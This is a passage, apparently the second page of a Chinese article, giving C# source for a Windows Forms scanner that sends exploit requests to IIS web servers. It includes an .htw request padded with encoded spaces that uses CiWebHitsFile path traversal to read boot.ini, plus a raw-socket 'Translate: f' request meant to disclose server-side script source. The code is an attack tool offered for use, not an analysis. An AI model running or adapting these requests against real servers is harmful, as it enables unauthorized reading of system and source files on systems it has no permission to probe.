case 19: //.htw strRequestFile = strServer + strUrl + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%" + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" + "%20%20%20%20%20%20%20%20%20%20%20.htw?" + "CiWebHitsFile=/../../boot.ini&CiRestriction=none" + "&CiHiliteType=Full" ; break ;
default: strRequestFile = strServer + strUrl + this.cboMethod.Text ; }
this.barStatus.Text = "发送请求:" + (strRequestFile.Length >= 50 ? strRequestFile.Substring(0 , 50) :strRequestFile) + "...";
string strResult ; //如果不是translate:f方法则可以直接发送http请求 if (this.cboMethod.SelectedIndex != 20) { //直接发送http请求 strResult = Get_Http(strRequestFile) ;
this.barStatus.Text += "完成。" ; strResult = strResult == "" ? "未找到!" : strResult ; this.txtResult.Text = strResult ; } else //translate:f方法需要建立tcp/ip连接 { string strRequest = "GET " + strServer + strUrl + "\r\nHTTP/1.0\r\nTranslate:f\r\n" ; strResult = Get_Socket_Request(strServer , strRequest , 80) ; this.barStatus.Text += "完成。" ; strResult = strResult == "" ? "未找到!" : strResult ; this.txtResult.Text = strResult ;
}
}
//使按钮、输入款等恢复 this.txtServer.ReadOnly = false ; this.txtFileName.ReadOnly = false ; this.btnClear.Enabled = true ; this.btnGo.Enabled = true ;
}
//通过同server建立tcp/ip连接,发送socket命令 private string Get_Socket_Request(string a_strServer , string a_strRequest , Int32 a_intPort) { //Set up variables and String to write to the server Encoding ASCII = Encoding.Default ; string Get = a_strRequest + "Connection: Close\r\n\r\n"; //string Get = Byte[] ByteGet = ASCII.GetBytes(Get); Byte[] RecvBytes = new Byte[256]; String strRetPage = null;
// IPAddress and IPEndPoint represent the endpoint that will // receive the request IPAddress hostadd = DNS.Resolve(a_strServer.Substring(7 ,a_strServer.Length - 7)); IPEndPoint EPhost = new IPEndPoint(hostadd, a_intPort);
//Create the Socket for sending data over TCP Socket s = new Socket(AddressFamily.AfINet, SocketType.SockStream, ProtocolType.ProtTCP );
// Connect to host using IPEndPoint if (s.Connect(EPhost) != 0) { strRetPage = "Unable to connect to host"; return strRetPage; }
// Sent the GET text to the host s.Send(ByteGet, ByteGet.Length, 0);
// Receive the page, loop until all bytes are received Int32 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0); strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
while (bytes > 0) { bytes = s.Receive(RecvBytes, RecvBytes.Length, 0); strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes); }
return strRetPage ; }
//获取http页面函数 private string Get_Http(string a_strUrl) { string strResult ; HttpWebRequest myReq = (HttpWebRequest) WebRequestFactory.Create(a_strUrl) ;
try { HttpWebResponse HttpWResp = (HttpWebResponse)myReq.GetResponse(); Stream myStream = HttpWResp.GetResponseStream () ;
StreamReader sr = new StreamReader(myStream , Encoding.Default); StringBuilder strBuilder = new StringBuilder(); while (-1 != sr.Peek()) { strBuilder.Append(sr.ReadLine()+"\r\n"); }
strResult = strBuilder.ToString(); } catch(Exception exp) { strResult = "错误:" + exp.Message ; }
return strResult ;
}
//退出 protected void mnuExit_Click (object sender, System.EventArgs e) {
if (MessageBox.Show("真的退出吗?" , "退出系统" , MessageBox.YesNo) == DialogResult.Yes) { this.Close () ;
} }
//主函数 public static void Main(string[] args) { Application.Run(new Form1()); } } }
上一页 [1] [2]
|